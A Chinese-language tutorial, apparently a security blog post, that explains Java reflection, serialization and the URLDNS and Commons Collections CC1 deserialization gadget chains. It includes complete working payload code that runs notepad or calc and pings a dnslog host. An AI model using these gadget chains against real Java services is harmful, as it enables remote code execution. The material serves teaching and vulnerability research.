查看原文
其他

原创 | java反序列化从0到cc1

k0e1y SecIN技术平台 2024-05-25

点击蓝字




关注我们



前言


java安全已成为安全从业者必不可少的技能,而反序列化又是Java安全非常重要的一环。于是本文将从0基础开始,带着大家层层递进,从java基础到URLDNS链到最终理解反序列化cc1链


命令执行


java反序列化的最终目的是执行命令,于是理解Java命令执行的函数非常有必要

Runtime

利用Runtime类可以进行命令执行

Runtime.getRuntime().exec("calc");

ProcessBuilder

ProcessBuilder calc = new ProcessBuilder("calc");calc.start();


反射基础


反射可以说无论在java开发还是安全中都很重要,没有反射就没有今天的各种框架,没有反射就没有了java安全,反射是一门应用广泛但是并不困难的技术


接下来的测试我都将拿Student demo作为测试对象

public class student { private String name; private int age;
public static void eat(){ System.out.println("正在吃东西"); }
private void drink(){ System.out.println("正在喝水"); }
public student(String name, int age) { this.name = name; this.age = age; }
public student() { }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
@Override public String toString() { return "student{" + "name='" + name + '\'' + ", age=" + age + '}'; }}

1.反射获取对象的类方法

其中列举了三种方法,这三种方法都可以用

2.反射调用类中的方法

利用getmethod()获取类的方法之后,调用invoke方法选择执行的对象。如果invoke难理解可以理解为从哪个类中选择这个方法,其实虽然这个method是从student类获取到的,但是如果另外一个类也拥有和student类同样的eat方法,就算是从student中获取的method,但是invove时选择另一个类照样也是会执行成功的。并且要注意这里的eat是static属性因此可以直接调用,否则只有创建对象之后才可以调用。

3.利用反射创建对象

无参构造

利用newInstance()可以调用无参构造创建对象
有参构造

利用getConstrutor()函数获取其中的构造器,之后便可进行有参构造

4.私有类型的参数,方法,构造器变公有

Class clazz1=student.class;getDeclaredField(); //获取全部的参数,包括私有和共有getDeclaredMethod(); //获取全部的方法,包括私有和共有getDeclaredConstrator(); //获取全部的构造器,包括私有和共有
获取之后使用setAccessible()即可将私有变为共有,这个在后面使用中非常常见


利用反射来执行命令


Runtime

Class clazz = Class.forName("java.lang.Runtime");Method execMethod = clazz.getMethod("exec", String.class);Method getRuntimeMethod = clazz.getMethod("getRuntime");Object runtime = getRuntimeMethod.invoke(clazz);//可以替换为Object runtime = getRuntimeMethod.invoke(null);因为getRuntime方法是static的execMethod.invoke(runtime, "calc.exe");
由于是Runtime下的getRuntime()的exec()所以在这两个方法都要获取,执行第四行的命令其实会返回一个对象,然后调用这个对象下的exec()方法

ProcessBuilder 

其中有两个构造方法
public ProcessBuilder(List<String> command)public ProcessBuilder(String... command) 

利用public ProcessBuilder(List command)

Class clazz = Class.forName("java.lang.ProcessBuilder");clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));

利用public ProcessBuilder(String... command) 

Class clazz = Class.forName("java.lang.ProcessBuilder");clazz.getMethod("start").invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}}));
这里比较难理解的地方就是为什么命令需要用二维数组?
因为可变参数在底层编译时会变成数组,于是我们传入数组即可,首先new instance传入的是可变数组

其次这个构造器也是可变的,所以两者叠加就会变成一个二维数组


反序列化基础

序列化和反序列化是为了便于数据进行传输而衍生出来的技术,当我们传递一个对象需要把这个对象序列化发送到另一个类,这个类在将对象反序列化就会自动生成这个对象


Java序列化把一个对象Java Object变为一个二进制字节序列byte[]

Java反序列化就是把一个二进制字节序列byte[] 变为Java对象 Java Object

实例类(如果想让这个类可以被序列化必须继承 Serializable接口 )
import java.io.Serializable;public class student implements Serializable { private String name; private int age;
public static void eat(){ System.out.println("正在吃东西"); }
private void drink(){ System.out.println("正在喝水"); }
public student(String name, int age) { this.name = name; this.age = age; }
public student() { }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
@Override public String toString() { return "student{" + "name='" + name + '\'' + ", age=" + age + '}'; }}

序列化

student student1=new student("小明",18);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.bin"));out.writeObject(student1);out.close();
这里使用字节输出流ObjectOutputStream,当我们writeObject时,会自动将类序列化并保存到1.bin文件中
反序列化
ObjectInputStream in=new ObjectInputStream(new FileInputStream("1.bin"));student student = (student) in.readObject();System.out.println(student)
使用字节输入流ObjectInputStream,当readObject()时,会将文件反序列化并返回这个对象

那这样如何造成安全问题呢?
如果我们在student类中重写readObject,那么在反序列化in.readObject()中会自动重写自己的readObject()方法导致命令的执行,命令执行反序列化的最终目的其实就是重写readObject()方法。

其中的defaultReadObject是为了保证反序列化正常执行的,因为如果被重写了也就意味着对象不会被解析,加上这个方法对象就可以被解析,如果不写输出时候对象的内容会为空

URLDNS

这是非常简单的一条链,他不可以执行命令,唯一的目的就是会产生一个DNS,如果我们接收到请求就会知道这个地方进行了反序列化

payload

import java.io.*;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;
public class URLDNS { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { HashMap<URL, Integer> hash = new HashMap<URL,Integer>(); URL url = new URL("http://imq3pi.dnslog.cn"); Class c = Class.forName("java.net.URL"); Field hashCode = c.getDeclaredField("hashCode"); hashCode.setAccessible(true); hashCode.set(url,123); hash.put(url,1); hashCode.set(url,-1); Serialize(hash); Unserialize(); } public static void Serialize(Object obj) throws IOException { ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt")); out.writeObject(obj); out.close(); } public static void Unserialize() throws IOException, ClassNotFoundException { ObjectInputStream In = new ObjectInputStream(new FileInputStream("1.txt")); Object obj= In.readObject(); }
}

完整版本看起来可能有一点麻烦,我们把代码拆解开只保留他的核心

当我们运行之后dnslog会接收到到发送的请求

流程分析

这条链的流程非常简单,我们甚至不需要DEBUG就能分析出来

由于反序列化是因为对象中的readObject重写了原来的函数,于是我们从hash这个对象下手,也就是进入HashMap中搜索readObject

在最后可以看到调用了hash函数,进入hash函数

由于key是我们put进去的url,所以肯定部位null,因为url对象是URL类,所以一定调用的是URL类的hashCode函数

hashCode方法对hashCode的值进行了一个判断,通过DEBUG可以发现hashcode为-1,当然查看上方的源码也可以发现最开始就是为-1

于是执行handler.hashcode()方法,我们跟进

这其中调用了getHostAddress方法,经过javaapi的解释发现这个函数的功能是获取主机的ip地址

继续深入后其实是getByName方法对url进行了访问,从而导致DNGLOG收到信息,至此URLDNS链的大框架已经审完,但是当我们跟进hash.put方法时会发现这样的情况

到这里我就不往下跟了,大家可能已经发现了,就算不进行反序列化,只要执行了put方法,到最后还是会执行到getByName方法,也就是说只要put方法执行了dnslog就会收到信息,这会干扰我们对能否反序列化的判断,于是我们需要避免这种情况。

我们发现只要在hashcode方法中,hashcode参数-1时就会直接返回hashcode,这样就不会继续往下执行,于是我们需要利用反射来修改hashcode的值(hashcode方法中有一个hashcode的参数,只是重名了不要弄混)。

于是URLDNS链到现在已经完美结束,下面是执行的流程


CC1链分析

前言

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发。


commons-collections组件反序列化漏洞的反射链也称为CC链,自从apache commons-collections组件爆出第一个java反序列化漏洞后,就像打开了java安全的新世界大门一样,之后很多java中间件相继都爆出反序列化漏洞。本文分析java反序列化CC1链。

环境搭建

java版本jdk8_71以下或jdk7,如果怕环境安装冲突的可以先安装在虚拟机再从虚拟机拷贝到物理机
CC包版本3.1-3.2.1

在maven中导入依赖

<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.1</version></dependency>
由于下载的源码是未开源的,编译器反编译的class可能会看的不舒服,我们从这个网站下载zip

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4

复制该路径下的sun文件夹到java目录下的src文件夹中,如果没有src文件夹将java路径下的src压缩包解压即可

在idea中的project structure将该文件夹加入即可

流程分析之Transform链

cc1链有两条一条是Transform链另一条是LazyMap链

首先了解下InvokerTransformer类,这个是CC1链的核心,他一共有三个参数

第一个为调用的方法名,第二个为方法类型(可能会重写,因为要写明形参的类型),第三个为给方法传递的值

例如这条语句最后调用了transform方法,意思是调用了Runtime.class的getmethod方法,获取getRuntime方法,于是我们可以构造方法利用InvokerTransformer类来执行命令

那如何才能使用一个teansform执行全部的呢,因为所有的类都是继承的transform接口,于是我们将这些放到transform数组中

随后将transform放到ChainedTransformer对象中,ChainedTransformer的构造方法会接收一个数组,然后用transform方法,会将其中的内容按顺序合并并执行

顺序执行源码分析

我们发现传入一个Object,但是object = this.iTransformers[i].transform(object)也就是说object对象会传参调用上次的object最终合并到下一次,其实这其中也和InvokerTransformer.transform()有关,因为如图都是InvokerTransformer类

而他的transform方法就是可以把传入的参数进行合并执行之后传给下一个

因此我们不但可以把Runtime.class写到chainedTransformer.transform()中也可以直接放到Transformer[]中,最终调用的时候chainedTransformer.transform()中随便写一个object对象即可调用,因为object会被上一次内容给替换掉


最后我们要进行序列化和反序列化的操作,目的就是重写反序列化的readObject方法并且执行transform方法,最终找到AnnotationInvocationHandle类中可以重写readObject方法

根据payload来追的话发现最终调用的transform,但是我们要执行需要Runtime.class,setValue的值我们是没办法传参控制的因为在Transformer[]定义的时候我们需要加上Runtime.class

Transformer[] x = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})        };

我们发现该类的构造方法需要两个参数,一个是class的类对象,另一个为map对象

构造payload

其中最后的Target.class的意思是,在readObject方法重写的时候要判断memberType是否为空,如果为空下面就不进行了那么我们的命令也就不会成功执行

当我们将map的key和traget中的value名相同时候,memberTypes.get(name)其中的name就是map的key值,如果key值为vaulue就说明能获取到东西,不为空了我们的方法就可以正常执行

其实不光target注解有,像Retention其实里面也有内容,只要把Key值改成相同的都是可以通过判断

最终payload

import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Documented;import java.lang.annotation.Retention;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;
public class test { public static void main(String[] args) throws Exception { //payload Transformer[] x = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"}) }; Transformer d = new ChainedTransformer(x); Map map = new HashMap(); map.put("value", "key"); Map map1 = TransformedMap.decorate(map, null, d); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class); ct.setAccessible(true); Object o = ct.newInstance(Target.class, map1); //payload序列化写入文件,当作网络传输 FileOutputStream f = new FileOutputStream("payload.bin"); ObjectOutputStream fout = new ObjectOutputStream(f); fout.writeObject(o);
//服务端反序列化payload读取 FileInputStream f1 = new FileInputStream("payload.bin"); ObjectInputStream f2 = new ObjectInputStream(f1); f2.readObject(); }}

流程分析之LazyMap链

LazyMap链是ysoserial中用到的链,其中用到了动态代理的知识

在transformedMap中查找谁能调用transform方法时,其实除了checkSetValue可以外,LazyMap中的get()方法也可以调用

当map中没有key值的时候,会触发tranform方法进行回调,如果factory是transformerChain那么就可以执行命令,接下来要做的就是如何执行到这个get方法


我们发现AnnotationInvocationHandler类中的invoke方法中可以执行get方法

我们发现AnnotationInvocationHandler中实现了InvocationHandler于是可以使用动态代理的方法调用invoke方法

我们如果将AnnotationInvocationHandler对象用Proxy进行动态代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler.invoke方法中,进而触发我们的LazyMap.get方法
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true);InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

Proxy.newProxyInstance三个参数:

loader: 用哪个类加载器去加载代理对象

interfaces:动态代理类需要实现的接口

动态代理方法在执行时,会调用h里面的invoke方法去执行

设置完动态代理之后,由于我们的序列化入口点是在AnnotationInvocationHandler方法中,因此要用构造器在进行一遍构造
Object o = ct.newInstance(Override.class, proxyMap); 

这时第一个参数已经无所谓了,因为我们走的是LazyMap这条链了

附上完整payload
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;
public class test3 { public static void main(String[] args) throws Exception { //payload Transformer[] x = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"}) }; Transformer d = new ChainedTransformer(x); Map map = new HashMap(); Map map1 = LazyMap.decorate(map, d);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class); ct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) ct.newInstance(Target.class, map1); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler); Object o = ct.newInstance(Override.class, proxyMap); //这样写也可handler = (InvocationHandler) ct.newInstance(Retention.class, proxyMap);
//payload序列化写入文件,当作网络传输 FileOutputStream f = new FileOutputStream("payload.bin"); ObjectOutputStream fout = new ObjectOutputStream(f); fout.writeObject(o); //如果用的后面那种,则把o换成handler
//服务端反序列化payload读取 FileInputStream f1 = new FileInputStream("payload.bin"); ObjectInputStream f2 = new ObjectInputStream(f1);
f2.readObject();
}}

总结

这篇文章从反射的命令执行到cc1,其中cc1对新手理解起来可能不友好,需要自己多理解理解才能参悟里面的本质,需要多看多审源码。


往期推荐



原创 | Thinkphp3.2.3 SQL注入总结

原创 | SPEL注入流程分析及CTF中如何使用

原创 | 从Deserialization和覆盖trustURLCodebase进行JNDI注入


继续滑动看下一个
向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存